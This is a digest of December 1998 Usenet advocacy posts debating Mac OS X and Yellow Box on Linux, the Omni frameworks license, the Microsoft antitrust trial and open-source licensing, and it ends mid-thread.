Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 11 Dec 98 22:51:47 GMT
Organization: P & L Systems
Message-ID: <3671a203.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
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<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com>
<FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
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Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> taiQ wrote:
> In my opinion Apple would be wise to cast the YB net wider than
> Apple's own Unix.
>
You mean like to Windows...?
> Now, it would certainly help Mac OS X's side of equation if Linux
> became a popular YB development and deployment platform. Mac OS X
> would be automatically in the game, and it would be the optimal
> platform for those YB apps.
>
.. I'm sure it would, however since there is already YB/Windows they've
taken a big step in the right direction already.
> Btw, could it be that some old OpenStep-hands are very much against
> any potential Linux port of YB
>
I haven't seen anyone who is against the port *in principal* -- indeed I'm
sure that all the ex-NeXT folks would welcome it. What I have seen is
arguments about why *now* might not be the best time *for Apple* to do a
port.
> because they're afraid their high-end
> custom development deals would suffer were increased competition to
> materialize?
>
Are you serious?! What an asinine suggestion. YB is already open to
Windows, and so OPENSTEP developers are already pitted against Microsoft, and
with Carbon on MacOS X will be head to head with existing Apple developers
too. Ex-NeXT ISVs have already said that they welcome competition.
> The road from being the dominant RISC vendor to becoming the dominant
> Unix vendor is long and hard when Linux is open source (indepence from
> control by any "competitor" is a significant advantage), basically FOC
> to deploy on any number of "seats" and on everyone's radar.
>
I somehow suspect that the "FOC" aspect has a greater bearing than "open
source" -- being proprietary hasn't exactly hurt Windows' popularity.
> Just do a web (news) search for Linux and Apple; searching "Mac OS X" will
not
> yield much.
>
Uh huh -- when making claims like this it's as well to try the experiment
first:
http://www.altavista.com/cgi-bin/query?pg=aq&text=yes&kl=XX&r=Mac+OS+X&act=s
earch&q=&d0=&d1=
AltaVista found 2,670,410 Web pages for you.
> Even if Apple released Mac OS X on every platform (which they do not
> intend to do but it would be technically doable, but what _then_ sells
> PowerMacs...) Apple's Unix would still face a steep uphill battle.
> This is in my opinion exactly why proliferation of Yellow Box would be
> of so great importance. Apple could easily be _the_ YB platform.
>
Umm, Apple *is* *the* YB platform.
Again, I don't know anyone who is seriously disputing this...
> After all these years everything may still appear to them as a threat
> instead of as on opportunity. I see Yellow Box on Linux (and other
> similar platforms priorities permitting) as a way to break out of the
> hardware and software niche they've dug themselves into.
>
.. and yes, you said this before: the issue is not with *whether* but rather
with *when*.
mmalc.
From: scholl@joxer.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 11 Dec 1998 17:50:51 -0500
Organization: University at Buffalo
Message-ID: <74s7kb$mn1$1@joxer.acsu.buffalo.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
NNTP-Posting-User: scholl
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: faster because Apple is bigger than any single Unix vendor.
ever heard of a small company called ibm?
-ed
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy,gnu.gnustep.discuss
Subject: Re: Proposal (fwd) (OmniFrameworks source)
Date: 11 Dec 1998 23:01:51 GMT
Organization: ICGNetcom
Message-ID: <74s88v$4vl@sjx-ixn8.ix.netcom.com>
References: <74ruv5$q82$1@nnrp02.primenet.com>
In article <74ruv5$q82$1@nnrp02.primenet.com> John Jensen <jjens@primenet.com> writes:
>Felipe A. Rodriguez <far_no@spam.ix.netcom.com> wrote:
>: First I have to say that I have the deepest respect and gratitude
>: to the folks at Omni without whom NeXTStep would be a much more
>: difficult option (if even a viable one). I laud them for their
>: fine gesture, but this license conflicts with the concept of
>: "Open Source" in a fundamental way. I'm not sure we're going to
>: find volunteers to port this if the result cannot be distributed.
>: In this case the resultant code does not then belong to the
>: community but is instead the property of Omni.
>
>: _
>
>: Omni Source Code software is available from Omni Development on their
>: web site at www.omnigroup.com.
>
>: 1. Omni Development gives you permission to make verbatim copies of
>: Omni Source Code software (the "Software") without restriction, so long
>: as your copies include a copy of this open permission, and all of the
>: original copyright notices and associated disclaimers.
>: 2. You may not distribute modified source code, but you may distribute
>: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>: patches and modified binary code, provided that you:
>
>The ability to redistribute source and to distribute patches adds up to a
>pretty open system. If you wanted to, you could bundle an unmodified set
>of source with your patches. The only pain is that the user would have to
>apply the patches. This impeads forking ... but forking is usually evil
>anyway.
>
I agree it's not far off the mark, but for me it misses a critical
distinction which is clearly evident in Netscapes' Mozilla license.
And that is if outside individuals and corporations contribute a
bunch of work they have certain rights to the result. They can't
legally call the result Navigator but it is otherwise unrestricted
for the most part. I think the Mozilla license is more than enough
to protect anyone's commercial interests.
If I have to jump through hoops to distribute the result by having
to maintain separate source trees ...etc, the option is far less
enticing. Particularly since I don't believe these are critical
pieces. I would probably be more open to this if it was NeXT's
Obj-C runtime or WindowServer on the table.
snip
>
>John
>
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
From: edremy@chemserver.chem.vt.edu (Eric Remy)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 11 Dec 1998 18:09:30 -0500
Organization: Virginia Tech Chemistry
Message-ID: <edremy-ya02408000R1112981809300001@news.vt.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <74s7kb$mn1$1@joxer.acsu.buffalo.edu>
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NNTP-Posting-Date: 11 Dec 1998 23:09:30 GMT
In article <74s7kb$mn1$1@joxer.acsu.buffalo.edu>,
scholl@joxer.acsu.buffalo.edu (Edward P Scholl) wrote:
>Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>
>: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: faster because Apple is bigger than any single Unix vendor.
>
>ever heard of a small company called ibm?
How about Sun? (~$2.5B last quarter vs. Apple's ~$1.4B) Last I heard they
made a few Unix systems in their spare time.
Then again, I didn't know that Apple was bigger than HP. Boy, Apple must
have grown _really_ fast in the past few quarters to surpass HP.
Hmm- I suppose they beat out SCO. That's something...
--
Eric Remy. Chemistry Learning Center Director, Virginia Tech
"Any desired property can be computed from the Schrodinger equation for the
system. The solution is left as an exercise for the reader." JIR, 3rd Ed.
From: sinank@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Microsoft's never ending arrogance
Date: Fri, 11 Dec 1998 23:33:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74sa3o$hqd$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16>
Acording to Microsoft company release about Dr. Edward W. Felten's written
testimony:
'.. he suggests merely that with enough engineering effort ...'. I.e. words,
what one man can achieved can not be done by Microsoft who modified a mere
20 million lines of code in Windows NT ( ooops, 2000).
' Testimony that ""Web browsing"" can be "removed" from Windows 98 says
nothing about wheter Internet Explorer is a separate product.'
So what does it say?
" The government appears to envision a world in which any computer
manufacturer has the right to modify Windows source code as they please' to
make their products better ( my addition).
Well good morning, how was your sleep?
My take?
"Microsoft envisions a world where NO ONE has the right to make their
products work better by modifying Windows Source code."
- Sinan Karasu
"Microsoft envisions a world where Microsoft has the right to bully every
computer manufacturer to deliver exactly what Microsoft tells them."
- Sinan Karasu
If you had ANY doubts that the Microsoft Company should be broken
up and Bill Gates should be sent to jail, I don't know what other proof
you need to the insidious and sleazy intentions they have. It is right
there , the arrogance and the sleaziness, and the criminality of it all.
Enough to make your skin crawl.
Sinan Karasu
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Fri, 11 Dec 1998 23:42:27 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3671ADE3.5E4B0C07@digiscape.com>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Stuart Brady wrote:
>
> >Joe: I installed RedHat 5 on a PC a while back and it really wasn't
> >much more difficult to install than Windows.
>
> That's wrong. This is why:
>
> If you've got Windows 95 and you install Linux, it's easy, cos LILO lets
> you do dual boot. You have a slight chance of screwing up partitions.
>
> If you've got Linux, and you install Windows 95, Windows will overwrite
> LILO (or so I've heard). There are ways to get round this, but it means
> reinstalling LILO (you need to make a linux boot disk first), booting
> Linux from DOS mode (you could add a boot menu to config.sys), or using
> a boot disk all of the time. Win 95 fdisk is horrible, as it will only
> create DOS partitions, and is harder to use than Linux's.
>
> It's best to install Windows first, *then* linux, because of this.
>
Nah, it's not too bad. I did it yesterday. Everyone should have a boot
disk, though.
--
/---------------------------------------------------\
| chaotic42@digiscape.com |
| http://130.74.57.55 | ftp://130.74.57.55 |
\---------------------------------------------------/
From: "Terry Barton" <tb7@inquo.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 11 Dec 98 05:11:24 -0500
Organization: inQuo Internet (801) 530-7160
Distribution: world
Message-ID: <3670A97C.MD-0.198.tb7@inquo.net>
References: <36718b58.25637024@news2.asan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
>> > Sure they have, what news have you been watching?
>
> Actually, I've been following through ZD Network News. The have a
> section for the case where they have links to all the court documents.
Are you aware of the fact the ZD stands for Ziff Davis Publishing? A
Microsoft Owned affilate. Have you also been following it on MSNBC?
From: Richard Tilmann <rtilmann@sagchip.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 01:29:48 +0000
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3671C70C.299F0F00@sagchip.com>
References: <36717987.21076075@news2.asan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Willy wrote:
>
> I think it's looking real good for Microsoft. Here's why:
>
;
;
;
;
;>
> I predict that Microsoft will lose the trial because of emotion, but
> will win on appeal, where they actually consider the evidence (or lack
> thereof.).
Willy,
You must understand that this trial is about 'policy', not about 'law'.
The question is MicroSoft damaging consumer interests and technology
innovation with their behavior. If they are, if it's not illegal, it
should be. There is no reason for us to suffer this kind of damage from
a from a private interest any more than it would be from a foreign
nation.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 01:11:33 GMT
Organization: Indiana University, Bloomington
Message-ID: <74sfs5$tag$1@flotsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <74s7kb$mn1$1@joxer.acsu.buffalo.edu>
In article <74s7kb$mn1$1@joxer.acsu.buffalo.edu>,
Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>
>: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: faster because Apple is bigger than any single Unix vendor.
>
>ever heard of a small company called ibm?
>
>-ed
IBM sells more Unix machines than Apple sells Macs?
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F3ty63.CsD@bilver.magicnet.netREMOVETHIS>
References: <36718b58.25637024@news2.asan.com> <3670A97C.MD-0.198.tb7@inquo.net>
Date: Sat, 12 Dec 1998 02:13:15 GMT
In article <3670A97C.MD-0.198.tb7@inquo.net>,
Terry Barton <tb7@inquo.net> wrote:
>>> > Sure they have, what news have you been watching?
>>
>> Actually, I've been following through ZD Network News. The have a
>> section for the case where they have links to all the court documents.
>
>Are you aware of the fact the ZD stands for Ziff Davis Publishing? A
>Microsoft Owned affilate. Have you also been following it on MSNBC?
ZD was bought by Soft-Bank - the people who also bought Comdex.
Owned by a Japanese businessman as I recall.
--
Bill Vermillion bv @ wjv.com
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3tz0y.Ktn@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
Date: Sat, 12 Dec 1998 02:31:46 GMT
Sender: adt@netcom3.netcom.com
taiQ (pit@iohk.SPAM-NOT.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) thought aloud:
: > Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
: > is all that matters.
:
: But it is quite doubtable that Mac OS X would gain such central role
: wrt. *nix apps, especially what comes to the bigger apps. Would Corel
: be interested in porting or keeping MOSX/BSD PerfectOffice in parity
: with the Linux version, esp. if Microsoft's Carbon port appears more
: tightly coupled with the MOSX UI?
IMHO yes. They see a large enough market in Linux where the number of
installations is fuzzy, the number of end user workstations rather than
servers is even fuzzier, the number of end users who feel a need for
something beyond all the free software is even fuzzier still. When MacOS X
is shipping on all PowerMacs it will have a well defined end user
population that has a track record of spending lots of money on software.
Also, is perfect office Linux specific? Why would it be troublesome to
port to Apple's BSD as opposed to some other BSD?
: > Also note that Apple may very well become the
: > dominant UNIX vendor as they already have become the dominant RISC vendor.
: > In any case when MacOS X is the shipping OS on all Macs then UNIX app
: > vendors are sure to go after this huge potential market of end users. Note
: > my use of 'end users'. The general interest in Linux you've referred to
: > may be more for servers than end user workstations.
:
: The road from being the dominant RISC vendor to becoming the dominant
: Unix vendor is long and hard when Linux is open source (indepence from
: control by any "competitor" is a significant advantage), basically FOC
: to deploy on any number of "seats" and on everyone's radar. Just do a
: web (news) search for Linux and Apple; searching "Mac OS X" will not
: yield much.
Such a web search proves nothing. I think you missed the point of the
above. With MacOS X installed on all shipping systems Apple will likely
become the dominant UNIX vendor even though most users don't know they
have a UNIX based system. Despite this UNIX software vendors would be sure
to take notice. I worked in molecular modeling in the past and there are
quite a few UNIX apps out there. I believe targetting PowerMacs with MacOS
X in addition to Sun, SGI, and RS/6000 systems would be seriously
considered and most likely approved. While Apple has a 'small' market
compared to Windows, a year or two of MacOS X sales could exceed the
traditional UNIX market. Again, I not suggesting anything like PowerMacs
replacing high end and specialized Sun and SGI systems.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: scholl@joxer.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 11 Dec 1998 20:46:52 -0500
Organization: University at Buffalo
Message-ID: <74shuc$equ$1@joxer.acsu.buffalo.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <74s7kb$mn1$1@joxer.acsu.buffalo.edu> <74sfs5$tag$1@flotsam.uits.indiana.edu>
NNTP-Posting-User: scholl
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: >: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: >: faster because Apple is bigger than any single Unix vendor.
: >ever heard of a small company called ibm?
: IBM sells more Unix machines than Apple sells Macs?
i have no idea- but that's not what you said. you said apple is bigger
than any single unix vendor- ibm is a unix vendor. they are bigger than
apple. what exactly is your claim here?
-ed
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 03:23:56 GMT
Organization: Indiana University, Bloomington
Message-ID: <74snkc$tpt$1@flotsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74s7kb$mn1$1@joxer.acsu.buffalo.edu> <74sfs5$tag$1@flotsam.uits.indiana.edu> <74shuc$equ$1@joxer.acsu.buffalo.edu>
In article <74shuc$equ$1@joxer.acsu.buffalo.edu>,
Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>
>: >: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: >: faster because Apple is bigger than any single Unix vendor.
>
>: >ever heard of a small company called ibm?
>
>: IBM sells more Unix machines than Apple sells Macs?
>
>i have no idea- but that's not what you said. you said apple is bigger
>than any single unix vendor- ibm is a unix vendor. they are bigger than
>apple. what exactly is your claim here?
I would have thought some context would be extracted from the statement.
E.g., HP may be bigger than Apple, but HP's line of calculators and their
line of printers are not going to do much to bolster their line of Unix
machines.
I assume anyone who thought to call me on the point just wanted to argue.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <cirby-2511981621020001@pm61-13.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com> <cirby-2311981744480001@pm56-03.magicnet.net> <365B03FD.CFCCDCEE@spamtoNull.com> <19981124181659165947@ts1-13.aug.com> <365C5C77.342552ED@spamtoNull.com>
Date: Mon, 07 Dec 1998 15:49:24 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:24 JST
Organization: Global Online Japan
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> About what?
>
> Burning Bunnies
>
> Can't recall Intel being mentioned once in that ad, sorry...
This is something called "understanding the context."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Proposal (fwd) (OmniFrameworks source)
Newsgroups: comp.sys.next.advocacy,gnu.gnustep.discuss
References: <74ruv5$q82$1@nnrp02.primenet.com> <74s88v$4vl@sjx-ixn8.ix.netcom.com>
Message-ID: <3671ae43.0@news.depaul.edu>
Date: 11 Dec 98 23:44:03 GMT
Felipe A. Rodriguez <far_no@spam.ix.netcom.com> wrote:
> If I have to jump through hoops to distribute the result by having
> to maintain separate source trees ...etc, the option is far less
> enticing.
You don't have to maintain separate source trees. You have your
source tree. You also keep the latest 'Omni' source around. You
diff them. You ship the diff with the Omni package. You don't
have to actually *work* in the pure Omni source, or maintain it.
You can download it when you're ready to do a release, get the
diffs, and delete it.
The alternative would be much more work. You'd have to keep your
source tree in sync with various other whole source trees. This way,
you just collect the patches, and apply them to your source tree.
From: "Boris" <borisspamno@pleasemovil.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca>
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Fri, 11 Dec 1998 21:09:15 -0800
Message-ID: <3671fcae$0$226@nntp1.ba.best.com>
>I don't think it matters who wins. By the very fact that theres an ongoing
>trial, Microsoft has already modified their behaviour. The longer the trial
>(and the appeals) go on, the greater the likelihood that some threat to
>Microsofts empire will emerge that MS can't respond to in the usual way.
Microsoft has the best technical talent in the industry. Where would that threat emerge
from?
Boris
From: r.e.ballard@usa.net
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Thu, 10 Dec 1998 22:15:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ph5s$5ho$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net> <slrn76kfuf.fv.davecook@sputnik.escnd1.sdca.home.com>
In article <slrn76kfuf.fv.davecook@sputnik.escnd1.sdca.home.com>,
davecook@home.com (David M. Cook) wrote:
> On Sat, 05 Dec 1998 21:43:31 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>
> >Now this is rich. ActiveX is an intentional road block to portability,
Actually, that was the exact intention behind ActiveX. Rather than simply
implement a CORBA compliant COM interface, Microsoft decided to create an
entirely platform dependent system that give MS-Windows (95, 98, NT) all
of the advantages. To prevent a massive rally from the UNIX community,
they did a contract with Software AG to do a UNIX port of the bare-bones
functions of DCOM. The project was a disaster.
Now, CORBA is the preferred inter-platform communications medium with ActiveX
now having the reputation of the "black hole of calcutta" (so many security
leaks that ActiveX has to be disabled across the web).
> Intentional or not, it's massively non-portable.
>
> >unlike C++ or Assembler. Whatever.
Code written in GNU c++ or GNU c compatible code can be ported to almost
anything (including NT). Other development and scripting languages can
be implemented in gcc or gpp compatible code and then the scripts or
metacode can be used on an machine.
NT doesn't support "fork", so many of the scripting and multitasking features
of UNIX oriented languages have to be lobotomized. Perl for example, cannot
fork handler processes.
> Netscape is written to be portable to many platforms using a carefully
> chosen C++ subset.
Furthermore, there are a number of toolkits such as tk, gtk, and qt that
can be implemented on your choice of platforms. The Microsoft Windows
versions are usually more expensive because Microsoft demands prohibitively
high royalties intended to keep these tools off the market.
> Dave Cook
>
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <jinx6568-1212980045480001@arc1a151.bf.sover.net>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net> <36718b58.25637024@news2.asan.com>
Organization: Airwindows
NNTP-Posting-Date: Sat, 12 Dec 1998 00:41:28 EDT
Date: Sat, 12 Dec 1998 00:45:47 -0500
In article <36718b58.25637024@news2.asan.com>, willy1@rocketmail.com
(Willy) wrote:
>Actually, the charges that involve AOL fall under "exclusionary
>behavior." It's clear that you don't understand that when the AOL
>prez gets on the stand and says that they selected IE for technical
>reasons, that all the DOJ legal arguments are refuted (as far as AOL
>is concerned.)
Hang on, didn't he actually say, in effect: "We did not select IE for
technical reasons as the MS lawyer claims. The technology they had which
Netscape didn't have only is applicable to W95, and we have only 20-30%
users on W95. Most of them are on Win3.1, for which the technology is
unavailable. We used IE anyway because it let us have a place on the
windows desktop"
What part of this don't you understand? I think you are mistaking the
MS lawyer for the witness ;)
Chris Johnson
@airwindows.com
chrisj
From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: 10 Dec 1998 23:14:43 GMT
Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany)
Message-ID: <slrn76vjb7.do.flight@freefly.hoffleit.org>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <366EB02D.B9CD5E3A@trilithon.com> <SPAMLESSforrest-0912981311210001@term6-33.vta.west.net>
User-Agent: slrn/0.9.5.4 (UNIX)
In article <SPAMLESSforrest-0912981311210001@term6-33.vta.west.net>,
Forrest Cameranesi wrote:
>Well there's your problem! Just because a piece of software is "open
>source" doesn't mean it's monetarily free, although that is often the
>case. You can charge for open-source software, the only thing which
>defines it as being "open source" is that the source code is included with
>the software (or sometimes it is simply shipped as JUST the source code,
>so the user has to compile it to their own system, but that's too 'scary'
>for Joe Average User, so binaries should be shipped as well). So the
>purchaser can modify what they buy for their own uses. Of course, various
>open-source licenses (GPL, etc) can place different restrictions on the
>code, like saying that you can't charge for it, or you can't distribute
>copies it without buying another licence, or you can't do this or that or
>you have to do this or that, etc. My personal, ideal licence would be
>thus:
This is plainly wrong. Read the Open Source Definition
(http://www.opensource.org/osd.html). Among the main points of "Open
Source" is that anybody is allowed to sell any piece of Open Source
software, as well as giving it away for free. The requirement of making the
source available is just another key point. The GPL e.g. doesn't restrict
anybody from selling the software (in fact its main goal is to restrict
people from making the software *proprietary*).
Please don't misunderpret "Open Source" as "you can get access to the
source". There's much more to it.
Regarding your proposed license model:
It's not compatible with the Open Source Definitation, and it has a
different spirit. The idea sounds nice and morally correct, but then, how
are you going to enforce this model ? How can you measure reliable and
exactly the percantage of code reuse ? I'm afraid this won't work in the
real world, while the Open Source model is proven on a medium scale.
Gregor Hoffleit
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 15:16:36 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn770lik.3ps.jedi@dementia.mishnet>
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On Thu, 10 Dec 1998 22:41:51 GMT, Anthony D. Tribelli <adt@netcom.com> wrote:
>taiQ (pit@iohk.SPAM-NOT.com) wrote:
>: sal@panix.com (Sal Denaro) thought aloud:
>
>: > Is the ability to point to your box and say it is running Linux more
>: > important than the ability to point to your box and say that it running
>: > an open standards based Unix OS?
>:
